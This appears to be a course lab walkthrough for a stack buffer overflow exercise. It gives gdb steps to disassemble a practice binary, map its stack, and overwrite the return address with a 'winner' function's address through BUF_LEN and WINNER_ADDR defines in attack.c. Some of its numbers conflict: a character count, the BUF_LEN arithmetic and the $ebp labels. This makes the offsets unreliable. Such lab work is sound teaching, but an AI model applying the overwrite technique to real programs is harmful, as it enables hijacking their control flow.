Stack Smasher

Disassembly:
run 'gdb LameCode' in terminal
disas main -> copy to assembly.txt
disas beSuperficiallyFriendly -> copy to assembly.txt after the main assembly

Stack:
run 'gdb LameCode' in terminal
  br beSuperficiallyFriendly
  run
it should break, the type 'ni' until it asks you for your name. Type in 'aaaaaaaaaaaaaaaaaaaaaaaa' (23 a's) and press enter
now type 'x /16x $esp' this should show you the stack for beSuperficiallyFriendly, the addresses start at some 0xffff address, and right in the middle there should be a bunch of '0x61616161'. Those are where name is stored in your program.

example output of 'x /16x $esp':
0xffff9990:  0xffffd990     0x08061cf0  0x08061cd0 0x08087cd0
0xffff99a0:  0x00000000 0x080e68c0 0x61616161 0x61616161  <-- name[24] starts at the first 61...
0xffff99b0:  0x61616161 0x61616161 0x61616161 0x00616161
0xffff99c0:  0xffffa800     0xffffdfac      0xffffd9f8      0x08068f80  <-- this is the return address

make a file called stack.txt and format it like below, but fill in the actual values from 'x /16x $esp', and you should probably fill in the ...s, though if you're stretched for time, I imagine fiore would understand, because there's no comments for those variables.
0xffff9990 0xffffd990     $esp
0xffff9994 0x08061cf0
0xffff9998 0x08061cd0
...
0xffff99a8 0x61616161 start of name[24]
....
0xffff99bc 0x00616161 end of name[24]
...
0xffff99c4 0xffffdfac       $ebp
0xffff99c8 0xffffd9f8       old $ebp
0xffff99cc 0x08068f80   return address

That return address is what you want to overwrite with the address of winner.
You can find the address of winner by looking at your disassembly of main. There's a line that looks like
0xSOME RANDY ADDRESS <+52>: call 0xADDRESS <winner>

!!!! 0xADDRESS is the number you want to copy to attack.c (0xADDRESS is something like 0x08048730)
!!!! and 0xffff99d0 - 0xffff99a8 = 40 is the number you want for BUF_LEN
#define BUF_LEN    40 /* INSERT BUFFER LENGTH HERE */
#define WINNER_ADDR 0xADDRESS /* INSERT ADDRESS OF THE WINNER FUNCTION HERE */